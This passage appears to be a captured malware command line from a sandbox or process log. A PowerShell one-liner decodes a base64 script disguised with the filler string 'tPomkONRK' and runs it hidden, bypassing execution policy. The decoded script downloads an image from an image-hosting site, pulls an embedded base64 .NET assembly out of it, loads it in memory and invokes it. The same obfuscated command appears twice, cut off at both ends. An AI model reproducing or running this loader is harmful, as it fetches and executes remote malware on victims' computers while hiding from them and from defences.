RKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQ